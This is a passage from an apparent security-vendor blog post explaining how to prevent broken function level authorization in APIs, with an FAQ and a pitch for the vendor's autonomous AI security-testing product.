    • Role checks are copied by hand. When every controller repeats its own if user.role == admin line, one forgotten line is all it takes.

    How to prevent it

    The fix is to make the allowed check the default, not something each route opts into.

    • Deny by default. Every endpoint should require an explicit role or permission to run. If a route declares nothing, it should reject the request, not accept it.
    • Check the caller’s role on the server, on every function. Do it inside the handler or a shared authorization layer, never in the frontend. The client cannot be trusted to hide anything.
    • Tie permissions to the operation, not the URL shape. Guard the promote action itself, so it stays guarded no matter what path or method reaches it.
    • Cover every verb. Apply the same check to GET, POST, PUT, PATCH, and DELETE on a resource, and confirm each one.
    • Test as a low privilege user. Log in as a normal member and try every admin and privileged route by hand. A 200 where you expected a 403 is the finding.

    Broken function level authorization survives because it depends on an assumption nobody wrote down: that only the right role would ever call a given function. An autonomous researcher that learns how an app is meant to work, then checks the caller’s role against every function it can reach, is built to catch exactly this kind of assumption based gap. A frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. You can read more on our about page.

    Frequently asked questions

    What is broken function level authorization?

    It is an access control flaw where an endpoint confirms you are logged in but never checks whether your role is allowed to run that function, so a normal user can call an admin or privileged action directly. It is API5 in the OWASP API Security Top 10.

    How is BFLA different from BOLA?

    BOLA is about data, reaching an object that belongs to another user. BFLA is about actions, running a function your role should not be allowed to run, such as deleting a record or promoting a user.

    What is the HTTP method version of BFLA?

    An app may protect GET on a path but forget to check DELETE or PUT on the same path. The read is guarded, the write is not, so an attacker changes the method and the privileged action goes through.

    How do you prevent broken function level authorization?

    Deny by default, check the caller’s role on every sensitive function on the server, and drive access from a central policy rather than from whether the interface showed a button.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.